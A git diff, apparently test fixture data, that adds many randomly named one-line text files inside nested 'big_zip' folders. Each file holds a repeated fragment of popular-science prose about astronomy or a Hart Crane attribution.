diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_sgskluenkrmnvqju.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_sgskluenkrmnvqju.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_sgskluenkrmnvqju.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_vxakuvwbreppkt.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_vxakuvwbreppkt.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_vxakuvwbreppkt.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_xgnculptuvknskwbukme.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_xgnculptuvknskwbukme.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_xgnculptuvknskwbukme.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_xtjtkpybxchreeootm.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_xtjtkpybxchreeootm.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_xtjtkpybxchreeootm.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_zawrcabywmiyryfgvrpyigv.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_zawrcabywmiyryfgvrpyigv.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_zawrcabywmiyryfgvrpyigv.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/file_zkpmkuioeoet.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/file_zkpmkuioeoet.txt
new file mode 100644
index 0000000..56f5f66
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/file_zkpmkuioeoet.txt
@@ -0,0 +1 @@
+is the origin of the phrase Westerners still use - the Milky Way. Perhaps it originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_agbctmywfhltfqlkwnetgtz.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_agbctmywfhltfqlkwnetgtz.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_agbctmywfhltfqlkwnetgtz.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_akyndbjfklbfquetgl.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_akyndbjfklbfquetgl.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_akyndbjfklbfquetgl.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_amkoylhatyiwjswckyiesm.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_amkoylhatyiwjswckyiesm.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_amkoylhatyiwjswckyiesm.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_autpkrhsyreuclmxbdmika.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_autpkrhsyreuclmxbdmika.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_autpkrhsyreuclmxbdmika.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_axxhscouiqqn.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_axxhscouiqqn.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_axxhscouiqqn.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_btazfaktqbdgc.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_btazfaktqbdgc.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_btazfaktqbdgc.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_eghmyobbxszv.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_eghmyobbxszv.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_eghmyobbxszv.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_gkkwshgkam.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_gkkwshgkam.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_gkkwshgkam.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_ikrvwjbczyvzfwcfkmezcpow.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_ikrvwjbczyvzfwcfkmezcpow.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_ikrvwjbczyvzfwcfkmezcpow.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_isplwgeettnes.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_isplwgeettnes.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_isplwgeettnes.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_nrsxxkjrhykyidwkcpww.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_nrsxxkjrhykyidwkcpww.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_nrsxxkjrhykyidwkcpww.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qjhbpdgcqa.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qjhbpdgcqa.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qjhbpdgcqa.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qrbwqfzaofqhcrjto.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qrbwqfzaofqhcrjto.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qrbwqfzaofqhcrjto.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qtfjmclsqgcyl.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qtfjmclsqgcyl.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qtfjmclsqgcyl.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qwrzwptmnkbavuiqpwacrr.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qwrzwptmnkbavuiqpwacrr.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qwrzwptmnkbavuiqpwacrr.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qwyfulqkfllrhnohsbea.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qwyfulqkfllrhnohsbea.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_qwyfulqkfllrhnohsbea.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_rjseglwyywwrdlnb.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_rjseglwyywwrdlnb.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_rjseglwyywwrdlnb.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_skcfaddfanbaurvbjjijxca.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_skcfaddfanbaurvbjjijxca.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_skcfaddfanbaurvbjjijxca.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_tzogbjaf.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_tzogbjaf.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_tzogbjaf.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_udiaquefgg.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_udiaquefgg.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_udiaquefgg.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_vymuhtonmfavqhwwbp.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_vymuhtonmfavqhwwbp.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_vymuhtonmfavqhwwbp.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_ztrxanwogzmrpwpe.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_ztrxanwogzmrpwpe.txt
new file mode 100644
index 0000000..2acfb6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/file_ztrxanwogzmrpwpe.txt
@@ -0,0 +1 @@
+- Hart Crane, The Bridge
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/aguzmhnervdk.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/aguzmhnervdk.txt
new file mode 100644
index 0000000..d977cc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/aguzmhnervdk.txt
@@ -0,0 +1 @@
+sentence of death passed on her should she ever return to Württemberg; and Kepler’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/cyxgzmqnwc.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/cyxgzmqnwc.txt
new file mode 100644
index 0000000..0aee59d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/cyxgzmqnwc.txt
@@ -0,0 +1 @@
+* This is not quite true. The near side of a galaxy is tens of thousands of light-years closer to us than
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/dksidokjrsusqwzbksy.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/dksidokjrsusqwzbksy.txt
new file mode 100644
index 0000000..7728151
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/dksidokjrsusqwzbksy.txt
@@ -0,0 +1 @@
+these numbers are. Ironically this discovery (reproduced in Appendix 1) was made with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_afqtioruvlxhcheci.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_afqtioruvlxhcheci.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_afqtioruvlxhcheci.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_aydrtddxs.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_aydrtddxs.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_aydrtddxs.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_cayvuggv.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_cayvuggv.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_cayvuggv.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_fzgqlhfaqmcjkxatiaxvofhb.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_fzgqlhfaqmcjkxatiaxvofhb.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_fzgqlhfaqmcjkxatiaxvofhb.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hcduesazdtkxufrplbjbv.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hcduesazdtkxufrplbjbv.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hcduesazdtkxufrplbjbv.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hiyahwumhy.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hiyahwumhy.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hiyahwumhy.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hpebjuavyhjrcfldo.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hpebjuavyhjrcfldo.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_hpebjuavyhjrcfldo.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_krscemoma.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_krscemoma.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_krscemoma.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_lepfzpfiphl.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_lepfzpfiphl.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_lepfzpfiphl.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_nuplibozipino.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_nuplibozipino.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_nuplibozipino.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_ptrycqjkfrxfgbloelxfucc.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_ptrycqjkfrxfgbloelxfucc.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_ptrycqjkfrxfgbloelxfucc.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_sklgtestzzztlveftsvvrqs.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_sklgtestzzztlveftsvvrqs.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_sklgtestzzztlveftsvvrqs.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_szcmyqsbrarplr.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_szcmyqsbrarplr.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_szcmyqsbrarplr.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xabbnhlvvrkwqcjfzjmbe.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xabbnhlvvrkwqcjfzjmbe.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xabbnhlvvrkwqcjfzjmbe.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xgymjlcfkypgoqzhgwuhsl.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xgymjlcfkypgoqzhgwuhsl.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xgymjlcfkypgoqzhgwuhsl.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xplhotolgbc.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xplhotolgbc.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xplhotolgbc.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xurlxwcemyiq.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xurlxwcemyiq.txt
new file mode 100644
index 0000000..04e1cc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/file_xurlxwcemyiq.txt
@@ -0,0 +1 @@
+intervention. If they were happy, there was plenty of food, and humans were happy. But if
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/fklzdtjgnnqpegpsm.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/fklzdtjgnnqpegpsm.txt
new file mode 100644
index 0000000..929b788
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/fklzdtjgnnqpegpsm.txt
@@ -0,0 +1 @@
+building onto the chips of wood. Some of them were so stunned and utterly terrified
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/fxubohjniwttilijqvnnwa.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/fxubohjniwttilijqvnnwa.txt
new file mode 100644
index 0000000..b568784
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/fxubohjniwttilijqvnnwa.txt
@@ -0,0 +1 @@
+the planetary system, that all the planets go around the Sun rather than the Earth. Typically,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/jrtjwspoqakjt.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/jrtjwspoqakjt.txt
new file mode 100644
index 0000000..a26c074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/jrtjwspoqakjt.txt
@@ -0,0 +1 @@
+decisive way, to the discovery of the planet Pluto, which is named after him. The first two
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/lfuycocfxkqemgssj.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/lfuycocfxkqemgssj.txt
new file mode 100644
index 0000000..85b816c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/lfuycocfxkqemgssj.txt
@@ -0,0 +1 @@
+produced a fundamental rethinking of the world, a revolution in physics.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/oorrjymcsogqpszwdn.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/oorrjymcsogqpszwdn.txt
new file mode 100644
index 0000000..82d2469
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/oorrjymcsogqpszwdn.txt
@@ -0,0 +1 @@
+had important consequences for us. About ten million years ago, the Sun emerged from the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/qppmeqlmgnhomoobm.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/qppmeqlmgnhomoobm.txt
new file mode 100644
index 0000000..04a6b4b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/qppmeqlmgnhomoobm.txt
@@ -0,0 +1 @@
+comparable to the total number of connections among the neurons - about a hundred
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/rkkjtusavlwvpzgl.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/rkkjtusavlwvpzgl.txt
new file mode 100644
index 0000000..ef622e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/rkkjtusavlwvpzgl.txt
@@ -0,0 +1 @@
+toes or, at most, wet our ankles. The water seems inviting. The ocean calls. Some part of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/slcussygjdtbsjewnpnbn.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/slcussygjdtbsjewnpnbn.txt
new file mode 100644
index 0000000..99d9e7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/slcussygjdtbsjewnpnbn.txt
@@ -0,0 +1 @@
+another set of laws of nature. Thus we can deduce from the fact that the universe exists either a finite age, or a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/xyeogniytwbigmqaj.txt b/big_zip/big-zip-files/folder_zcnvekqcsp/folder_lxnigghwga/folder_iqpeforofh/xyeogniytwbigmqaj.txt
